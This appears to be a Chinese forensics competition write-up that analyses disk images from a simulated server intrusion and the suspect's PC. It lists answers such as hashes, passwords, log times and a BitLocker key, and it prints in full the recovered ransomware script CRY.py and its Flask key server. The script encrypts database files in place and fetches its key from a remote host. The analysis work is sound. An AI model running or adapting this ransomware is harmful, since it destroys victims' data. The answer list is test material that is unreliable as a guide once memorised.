1
2021年5月,接某考试信息中心报案称,其单位一存储考生个人信息的服务器疑似被入侵,数据库被破坏并勒索比特币,警方当即固定了服务器的镜像server.e01。经调查警方抓获了嫌疑人并对其使用的笔记本电脑只做了镜像PC.e01,请对两个检材进行分析,并回答下面的问题:

第一部分

1. 镜像sever.e01对应的被入侵服务器源盘sha256为

98C53B2AC30758EF0977FC313D5D1A070EBF51AE09E0DF36664A5CCF81DF35C5

image-20230820005312848

2. 服务器操作系统内核版本为3.10.0-957.el7.x86_64

image-20230820005505355

3. 服务器配置的网关为192.168.232.2

image-20230820005555165

4. 服务器中有2个登录过的账号

image-20230820005649781

5. 服务器中root账号的密码为nb7001

cmd5跑shadow文件跑不出来

image-20230820183400321

后面分析PC时候会出现

6. 入侵者IP为192.168.232.150

last+ifconfig

image-20230820012115188

7. 入侵者首次登录成功时间为15:01:08(14:57:17)(14:59:21)(格式要求:HH:MM:SS,如14:03:27)

接下来先不看题目,先分析Linux,再来逐题解答,这样不会被题目牵着走,没思路的时候再来看题干

root用户家目录下有两个文件

image-20230820183636831

image-20230820183733374

一:入侵者qq 二、服务器是LNMP架构

刚在做第四题的时候看到还有一个用户,su一下,看家目录有一堆网站

image-20230820184109553

启网站,看端口

image-20230820184419050

image-20230820184456104

查看定时任务

image-20230820185401461

image-20230820185414800

发现一堆备份文件

image-20230820185507732

应该是历史命令的备份文件和网站日志的备份文件

image-20230820220730183

看不一样的哈希值,浏览、追踪一下历史命令

发现脱库操作,和数据库账密

image-20230820223556186

*

image-20230820220147907

btmp没什么东西

看nginx的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#honglian
user www www;

worker_processes auto;

error_log /home/wwwlogs/nginx_error.log crit;

pid /usr/local/nginx/logs/nginx.pid;

#Specifies the value for maximum file descriptors that can be opened by this process.
worker_rlimit_nofile 51200;

events
{
use epoll;
worker_connections 51200;
multi_accept on;
}

http
{
include mime.types;
default_type application/octet-stream;

server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
client_max_body_size 50m;

sendfile on;
tcp_nopush on;

keepalive_timeout 60;

tcp_nodelay on;

fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 256k;

gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.1;
gzip_comp_level 2;
gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/xml+rss;
gzip_vary on;
gzip_proxied expired no-cache no-store private auth;
gzip_disable "MSIE [1-6]\.";

#limit_conn_zone $binary_remote_addr zone=perip:10m;
##If enable limit_conn_zone,add "limit_conn perip 10;" to server section.

server_tokens off;
access_log on;

server
{
listen 80 default_server;
#listen [::]:80 default_server ipv6only=on;
server_name _;
index index.html index.htm index.php;
root /home/wwwroot/mhedu.sh.cn;

#error_page 404 /404.html;

# Deny access to PHP files in specific directory
#location ~ /(wp-content|uploads|wp-includes|images)/.*\.php$ { deny all; }

include enable-php.conf;

location /nginx_status
{
stub_status on;
access_log on;
}

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 30d;
}

location ~ .*\.(js|css)?$
{
expires 12h;
}

location ~ /.well-known {
allow all;
}

location ~ /\.
{
deny all;
}

access_log /home/wwwlogs/access.log;
}
include vhost/*.conf;
}

只有一个网站是启着的

接下来看网站的日志/home/wwwlogs/access.log,360星图梭一下

image-20230820225330638

1.php估计是黑客的马子,找个webshell检测工具跑一下验证

image-20230820225524018

忘记关杀软,又被扫出来了

image-20230820225957904

分析大致结束了,再开始做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
早期unix 在/usr/adm
较新版本 在/var/adm
solaris&linux&bsd 在 /var/log
lastlog:近期成功登陆记录
loginlog:不良的登陆尝试记录
messages:记录输出到系统主控台以及由syslog系统服务程序产生的消息、
utmp:记录当前登陆的每个用户
utmpx:拓展的utmp
wtmp:记录每一次用户登陆和注销的历史信息 last -f /var/log/wtmp
vold.log:使用外部介质出现的错误
xferkig:记录ftp的存取情况
sulog:记录su命令的使用情况
acct:记录每个用户使用过的命令
last:/var/log/secure 最后登录
1、安全日志 /var/log/secure
作用:安全日志secure包含验证和授权方面信息
分析:是否有IP爆破成功
2、用户信息 /etc/passwd
内容含义:注册名、口令、用户标识号、组标识号、用户名、用户主目录、命令解释程序
分析:是否存在攻击者创建的恶意用户
3、命令执行记录 ~/.bash_history
作用:命令执行记录 ~/.bash_history
分析:是否有账户执行过恶意操作系统命令
4、root邮箱 /var/spool/mail/root
作用:root邮箱 /var/spool/mail/root
分析:root邮箱的一个文件,在该文件中包含大量信息,
当日志被删除可查询本文件
5、中间件日志(Web日志access_log)
nginx、apache、tomcat、jboss、weblogic、websphere作用:
记录访问信息分析:请求次数过大,访问敏感路径的IP位置:/var/log下 access.log文件(apache默认
位置)
位置:/var/log/nginx下 access名称日志(nginx日志位置)
位置:tomcat、weblogic等日志均存放在安装路径下logs文件下
访问日志结构:访问IP---时间---请求方式---请求路径---请求协议----请求状态---字节数
6.登陆日志(可直接使用命令调取该信息,对应命令last/lastb)
位置:/var/log/wtmp #成功连接的IP信息
位置:/var/log/btmp #连接失败的IP信息
7.cron(定制任务日志)日志
位置:/var/log/cron
作用:查看历史计划任务(对该文件进行分析调取恶意病毒执行的计划任务,获取准确时间)
8、history
日志位置:~/.bash_history
作用:操作命令记录,可筛查攻击者执行命令信息
9、其他日志
redis、sql server、mysql、oracle等
作用:记录访问信息分析:敏感操作

跟着日志一把梭,慢慢找,注意报警的时间,这个对于快速检索很重要

image-20230821002416365

8. 入侵者设置了1个定时任务

image-20230821002725566

9. 定时任务将大量日志文件转存至/tmp/backup-log/(backup-log)目录

image-20230821002818393

10. 服务器的网站目录及子目录中,共存在2(1)个webshell

上面d盾分析了,adminer.php算一个操作数据库的大马

11. 数据库账号为root,密码为nb250250

上面有

12. 数据库版本号为5.5.62

image-20230821002941954

13. 嫌疑人入侵服务器后,在数据库中共修改了3个学生的分数

image-20230821003335036

看一下mysql日志

image-20230821004224261

再进去验证一下

image-20230821004302946

名字 原成绩 修改后成绩
胡金保 564 600
金喆昊 538 600
范诗怡 539 600

14. 嫌疑人入侵服务器后,在数据库中共删除了52条学生相关记录

image-20230821004350038

15. 将被篡改的数据库修复,统计全部学生信息中,身份证为31开头的,且分数大于540分的学生共有1048名

在后面PC分析的时候发现了student.sql

image-20230821005129405

启个差不多版本的数据库,phpstudy导入

image-20230821005525499

1
SELECT COUNT(*) FROM score where idcard LIKE "31%" AND score>540

image-20230821005730830

16. 将被篡改的数据库修复,统计全部学生信息中,有12对同名的学生。

1
2
3
4
SELECT `name`,COUNT(name) 
FROM score
GROUP BY `name`
HAVING COUNT(`name`)>1

image-20230821010106555

第二部分

17. 镜像PC.e01对应的嫌疑人PC源盘sha256为

6EEF51A3737269D631B733AB476B236E055103115D463DAF81529556C1738199

image-20230820141720673

18. PC操作系统安装时间为2021-05-02 00:30:44(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)

image-20230820141809962

19. 嫌疑人破解服务器密码使用的工具/软件名为hydra

接下来解密bitlocker,一般的bitlocker都可以搜恢复密钥,搜出来

image-20230820141908449

解密后,把检材卸载,重新跑一遍

有一个安卓嵌套,扔火眼

image-20230820155815892

仿真,仿真能更加直观地体现嫌疑人作案时候的操作,然后浏览文件

image-20230820142324062

image-20230820142402555

Misc手基本素养,office三大件实际上都是zip文件

image-20230820142506730

实际上是excel打开

image-20230820142542849

image-20230820143401780

image-20230820143451987

image-20230820143505012

发现了货1 3 5,货3有密码,扔给passware去爆破,在浏览的时候留意一下密码

image-20230820144036620

image-20230820144404815

foxmail里面有个货2

image-20230820144842418

看到一个磁盘文件,导出,火眼跑一下

image-20230820152310591

货4找到了

image-20230820152420818

发现货6,经过PGS,校赛的毒打以后,对图片很敏感

image-20230820152516879

PK头,估计也是excel了

image-20230820152610902

D盘里还有几个压缩包没分析

image-20230820152813159

有一个检材嵌套,扔火眼,还有网站源码和日志

到这里这个检材大概算分析完成了,接下来看检材嵌套

image-20230820153725996

1
2
3
4
5
6
7
key.log

95a10a23fca34b69aa8ab9c38230fc9e,.,202105081329
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081330
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081333
95a10a23fca34b69aa8ab9c38230fc9e,/studient.sql,202105081525
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081528
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
web.log

* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
192.168.232.148 - - [08/May/2021 12:32:41] "[33mGET / HTTP/1.1[0m" 404 -
192.168.232.148 - - [08/May/2021 12:33:15] "[33mPOST /key/ HTTP/1.1[0m" 404 -
192.168.232.148 - - [08/May/2021 12:35:06] "[33mPOST /key/ HTTP/1.1[0m" 404 -
192.168.232.148 - - [08/May/2021 13:28:32] "[33mPOST /key/ HTTP/1.1[0m" 404 -
192.168.232.148 - - [08/May/2021 13:29:22] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 -
192.168.232.148 - - [08/May/2021 13:30:27] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 -
192.168.232.148 - - [08/May/2021 13:33:13] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 -
192.168.232.148 - - [08/May/2021 15:25:53] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 -
192.168.232.148 - - [08/May/2021 15:28:58] "[37mPOST /key/95a10a23fca34b69aa8ab9c38230fc9e HTTP/1.1[0m" 200 -
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)

image-20230820154004653

XISE已经解压到桌面了,是一个Webshell管理工具

image-20230820154116439

扔到passware里面,留意密码,火眼能看到文件记录

image-20230820154409662

image-20230820155043152

CRY.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import time
import requests
import sys

def discover_files(startpath):
extensions = [
'db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd'
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[-1]
if ext in extensions:
yield absolute_path

def modify_file_inplace(filename, crypto, key, blocksize=4096):
with open(filename, 'r+b') as f:
plaintext = f.read(blocksize)

while plaintext:
if len(plaintext) < blocksize:
padtext = pad(plaintext, AES.block_size, style='pkcs7')
ciphertext = crypto(padtext)
else:
ciphertext = crypto(plaintext)

f.seek(-len(plaintext), 1)
f.write(ciphertext)

plaintext = f.read(blocksize)

def get_machine_id():
with open('/etc/machine-id', 'r') as f:
return f.readline().strip()

def get_time():
return time.strftime("%Y%m%d%H%M", time.localtime())

def get_key(path, machine_id, time):
res = requests.post(
url = 'http://192.168.232.150:5000/key/{0}'.format(machine_id),
json = {
'path' : path,
'time': time
}
)
return res.text

def main():
if len(sys.argv) != 2:
exit()
path = sys.argv[1]
key = get_key(path, get_machine_id(), get_time())
cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))

for file in discover_files(path):
modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii'))
os.rename(file, file+'.CRY')
print(file, 'encrypted.')

if __name__=="__main__":
main()

key-server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request
import hashlib
import base64
import logging

app = Flask(__name__)
logger = logging.getLogger('werkzeug')
handler = logging.FileHandler('web.log')
logger.addHandler(handler)

@app.route('/key/<machine_id>', methods=['post'])
def get_keys(machine_id):
path = request.json['path']
time = request.json['time']
with open('key.log', 'a') as f:
f.write(f'{machine_id},{path},{time}\n')
return hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]

if __name__ == '__main__':
app.run(host='0.0.0.0')

backuplog.sh

1
2
3
4
#!/bin/sh
cd /tmp/backup-log/
tar czvf .var.log$(date +%Y%m%d%H%M).tar.gz /var/log
tar czvf .backup-history.$(date +%Y%m%d%H%M).tar.gz /root/.bash_history

桌面还有一个远控平台

image-20230820154456532

和Hydra截图及源码

image-20230820154533267

文档这里有个history

image-20230820154614145

火眼里能看到ssh连接记录

image-20230820155111424

嵌套检材大致又过了一遍,现在可以做题了

嫌疑人破解服务器密码使用的工具/软件名为hydra,上面截图已经在了

20. 嫌疑人PC中,bitlocker分区恢复秘钥为327954-438944-621852-201003-531718-502172-098219-240251

最开始分析的时候就找到了

21. 嫌疑人将所有学生信息拆分为6份文件

货123456

22. 所有被拆分的学生信息文件中,有一份被删除,该文件中共有学生信息339条

repair里的货4

image-20230820155431222

23. 嫌疑人邮箱地址为234011677@qq.com

image-20230820155458761

24. 嫌疑人曾通过QQ售卖的学生信息,买家QQ号为234011698

image-20230820155901464

25. 嫌疑人首次访问服务器中上传的1.php文件的时间为15:42:43(格式要求:HH:MM:SS,如14:03:27)

看日志

26. 提取并分析服务器中的加密程序,该程序执行后会加密7种不同类型的文件

入侵.vmdk里的CRY.py

1
2
3
extensions = [
'db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd'
]

27. 嫌疑人共加密了4个文件

image-20230820161156603

入侵ssh连接的就是这台,操作全在这里了

1
2
3
4
for file in discover_files(path):
modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii'))
os.rename(file, file+'.CRY')
print(file, 'encrypted.')

这个加密脚本特征也很明显,搜后缀也可以

image-20230820161410703

28. 首次成功加密文件的时间为2021-05-08 13:33:13(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)

image-20230820161538442

29. 该程序对目标文件的加密方式为AES

CRY源码一眼丁真

30. 该程序对文件studient.sql进行加密时,使用的秘钥为9ff79decd3d6fbb2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import time
import requests
import sys

def discover_files(startpath):
extensions = [
'db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd'
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[-1]
if ext in extensions:
yield absolute_path

def modify_file_inplace(filename, crypto, key, blocksize=4096):
with open(filename, 'r+b') as f:
plaintext = f.read(blocksize)

while plaintext:
if len(plaintext) < blocksize:
padtext = pad(plaintext, AES.block_size, style='pkcs7')
ciphertext = crypto(padtext)
else:
ciphertext = crypto(plaintext)

f.seek(-len(plaintext), 1)
f.write(ciphertext)

plaintext = f.read(blocksize)

def get_machine_id():
with open('/etc/machine-id', 'r') as f:
return f.readline().strip()

def get_time():
return time.strftime("%Y%m%d%H%M", time.localtime())

def get_key(path, machine_id, time):
res = requests.post(
url = 'http://192.168.232.150:5000/key/{0}'.format(machine_id),
json = {
'path' : path,
'time': time
}
)
return res.text

def main():
if len(sys.argv) != 2:
exit()
path = sys.argv[1]
key = get_key(path, get_machine_id(), get_time())
cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))

for file in discover_files(path):
modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii'))
os.rename(file, file+'.CRY')
print(file, 'encrypted.')

if __name__=="__main__":
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request
import hashlib
import base64
import logging

app = Flask(__name__)
logger = logging.getLogger('werkzeug')
handler = logging.FileHandler('web.log')
logger.addHandler(handler)

@app.route('/key/<machine_id>', methods=['post'])
def get_keys(machine_id):
path = request.json['path']
time = request.json['time']
with open('key.log', 'a') as f:
f.write(f'{machine_id},{path},{time}\n')
return hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]

if __name__ == '__main__':
app.run(host='0.0.0.0')

AES加密需要密钥,我们只需关注key的逻辑即可

image-20230820161721784

推荐复制粘贴到pycharm里,跟踪函数很方便

找到关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def get_key(path, machine_id, time):
res = requests.post(
url='http://192.168.232.150:5000/key/{0}'.format(machine_id),
json={
'path': path,
'time': time
}
)
return res.text


def get_machine_id():
with open('/etc/machine-id', 'r') as f:
return f.readline().strip()


def get_time():
return time.strftime("%Y%m%d%H%M", time.localtime())


key = get_key(path, get_machine_id(), get_time())


cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))

image-20230821090004562

image-20230821090205085

找到机器码和时间后加密,因为向服务端发起请求,所以观察flask部分

因为flask里面也有获取key的部分,我们只要从key.log里获取信息即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request
import hashlib
import base64
import logging

app = Flask(__name__)
logger = logging.getLogger('werkzeug')
handler = logging.FileHandler('web.log')
logger.addHandler(handler)

@app.route('/key/<machine_id>', methods=['post'])
def get_keys(machine_id):
path = request.json['path']
time = request.json['time']
with open('key.log', 'a') as f:
f.write(f'{machine_id},{path},{time}\n')
return hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]

if __name__ == '__main__':
app.run(host='0.0.0.0')
1
2
3
4
5
95a10a23fca34b69aa8ab9c38230fc9e,.,202105081329
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081330
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081333
95a10a23fca34b69aa8ab9c38230fc9e,/studient.sql,202105081525
95a10a23fca34b69aa8ab9c38230fc9e,./studient/,202105081528

但是为什么修改时间是202105081528,而key.log是202105081525呢,写一个demo

image-20230821091933357

可以看到加密时候的路径不是文件的路径,而是文件所在目录的路径

所以不要被key.log里面studient.sql迷惑了

image-20230821092109743

再取前十六位

9ff79decd3d6fbb2